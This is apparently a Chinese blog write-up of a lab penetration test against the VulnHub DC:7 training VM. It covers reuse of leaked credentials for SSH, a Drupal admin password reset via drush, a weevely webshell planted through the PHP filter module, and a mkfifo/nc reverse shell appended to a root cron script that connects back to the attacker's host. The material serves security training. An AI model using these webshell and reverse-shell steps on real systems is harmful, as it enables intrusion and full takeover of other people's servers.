vulnhub-DC:7靶机渗透记录
准备工作
在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub
导入到vmware,设置成NAT模式

打开kali准备进行渗透(ip:192.168.200.6)
信息收集
已经知道了靶机的ip192.168.200.19 利用nmap进行端口探测
nmap -sV -p- 192.168.200.19

开放了80端口和22端口,打开80端口


可以看到CMS是Drupal8,左上角还有个登陆页面
但在尝试dirsearch扫目录,爆密码,搜漏洞都没有利用的点。
后面发现下面有一个@DC7USER,去搜一下还真有发现,DC7的作者上传了源码到github


下载来看看,在config.php找到了数据库的账号密码dc7user——MdR3xOgB7#dW

尝试用这个密码登陆了一下页面,失败

那用这个密码登陆一下ssh,成功
ssh dc7user@192.168.200.19

Drush
有一封邮件


看内容是通过这个脚本/opt/scripts/backups.sh将数据库自动备份到/home/dc7user/backups/website.sql,这个脚本还是root权限
看看这个脚本的内容

在backups.sh文件中主要发现了两个命令drush,gpg。
Drush是Drupal的命令行shell和Unix脚本接口。Drush Core附带了许多有用的命令,可用于与模块/主题/配置文件等代码进行交互。gpg是加密的命令
查了一下drush命令可以修改密码,但是使用drush命令的时候要先切换到网站源码所在的目录,不然会报错
进入网站目录/var/www/html。用drush命令将admin的密码改成admin
drush user-password admin --password="admin"

登陆网站看看.
weevely
进入后台发现这里可以编辑页面,那就可以写一句话木马,但是查到drupal8不支持php代码,查找资料发现需要导入一个模块

模块地址https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz 输入直接安装

选第二个选项,拉到下面将PHPFiter勾选,再拉到底部安装


然后回到刚刚编辑首页,可以看到有php的选项了,插入一句话代码

输入phpinfo();看看能不能执行


成功,接下来使用weevely生成木马进行连接
weevely generate test test.php
然后将代码复制到编辑的地方保存

再使用weevely连接
weevely http://192.168.200.19/ test

连接成功 获得www-data权限
利用backups.sh提权
www-data对之前看到的backups.sh有修改权限

可以在这个脚本添加反弹shell的命令进行提权
很多服务器都将-e功能删除了,只能这样。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 端口 >/tmp/f
rm /tmp/f 删除该文件(以免跟后面定义的 管道符 冲突) mkfifo /tmp/f 这是创建自定义有名管道符。管道符的名称是 /tmp/f (用于进程间的通讯, 如 ls > /tmp/f ,cat /tmp/f ,连通两个进程之间的通讯) cat /tmp/f 取出管道符中的内容,
|/bin/sh -i 2>&1 将前面取出的内容作为输入,输入给 /bin/sh,再将bash的标准错误输出 也作为标准输入 (2 >&1)给bash
然后再将bash的输出,传给nc 远程,再将nc 传来的数据,写入 管道符 /tmp/f 。最后首尾接通了。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.200.6 9999 >/tmp/f" >> /opt/scripts/backups.sh
然后打开kali终端 nc -lvf 9999 进行监听,可能要等挺长时间,因为这个脚本是隔一段时间执行一次
(这里我等了很久发现还没有反应,查看了一下sh文件根本没写进去,然后想cd出去发现还没有权限,还以为是我用weevely的方法有问题,网上其他人都是直接反弹shell的,后面发现是写入的路径有问题,应该使用绝对路径/opt/scripts/backups.sh。如果发现很久没反应一定要检查是不是哪里出问题了)

等了一段时间后反弹成功,拿到flag
参考文章
DC-7 靶机渗透测试 - Bitores - 博客园 (cnblogs.com)
DC:7靶机-Walkthrough_ins1ght的博客-CSDN博客
vulnhub-DC:7靶机渗透记录的更多相关文章
- vulnhub-DC:2靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
- vulnhub-DC:5靶机渗透记录
准备工作 在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...
- vulnhub-DC:6靶机渗透记录
准备工作 在vulnhub官网下载DC:6靶机DC: 6 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...
- vulnhub-DC:1靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
- vulnhub-DC:3靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...
- vulnhub-DC:4靶机渗透记录
准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...
- vulnhub-DC:8靶机渗透记录
准备工作 在vulnhub官网下载DC:8靶机DC: 8 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...
- vulnhub-XXE靶机渗透记录
准备工作 在vulnhub官网下载xxe靶机 导入虚拟机 开始进行渗透测试 信息收集 首先打开kali,设置成NAT模式 查看本机ip地址 利用端口扫描工具nmap进行探测扫描 nmap -sS 19 ...
- DC 1-3 靶机渗透
DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...
随机推荐
- RobotFramework + Python 自动化入门 二 (关键字)
在<RobotFramwork + Python 自动化入门 一>中,完成了Robot环境搭建及测试脚本的创建和执行. 本节,对RobotFramework的关键字使用和查看源码进行介绍. ...
- Android开发回收bitmap引发Canvas: trying to use a recycled bitmap错误处理
当你的应用由于加载大量图片出现OOM异常时,肯定会上网搜索关于OOM的文章,并导求相应的解决方案,比如压缩图片大小,或手动回收资源什么的.在这里我们不讨论图片压缩或缓冲这些方法,而是讨论一下手动回收B ...
- 1、mysql基础入门(2)
1.4.常用非关系型数据库产品介绍: 1.Memcached(key-value)数据库:
- ps 快速替换背景颜色
1.打开图片: 点击工具栏上的"选择"--色彩范围--按[delete]
- 使用过redis做异步队列么,你是怎么用的?有什么缺点?
Redis设计主要是用来做缓存的,但是由于它自身的某种特性使得它可以用来做消息队列. 它有几个阻塞式的API可以使用,正是这些阻塞式的API让其有能力做消息队列: 另外,做消息队列的其他特性例如FIF ...
- Python中的json学习
p.p1 { margin: 0; font: 14px ".PingFang SC"; color: rgba(53, 53, 53, 1) } p.p2 { margin: 0 ...
- wireshark 调试 https/http2和grpc流量
本文浏览器以 Chrom 为例 平常需要抓包的场景比较少,记录一下防止下次忘记配置 1. 解析 TLS 在本地创建用于保存 ssl logfile 的文件(文件可以存放到任意位置), 并添加到环境变量 ...
- postgresql分组后获取第一条数据
-- 根据编号分组取第一条数据 select * from table t where t.no=(select max(no) from table t1 where t1.no=t.no) -- ...
- Linux | 配置主机名称
配置主机名称 为了便于在局域 网中查找某台特定的主机,或者对主机进行区分,除了要有 IP 地址外,还要为主机配置一个主机名,主机之间可以通过这个类似于域名的名称来相互访问. 在 Linux 系统中,主 ...
- C语言:数的保存 原码 反码 补码
a=6 a=-18 a 的原码就是0000 0000 0000 0110 1000 0000 0001 0010 ...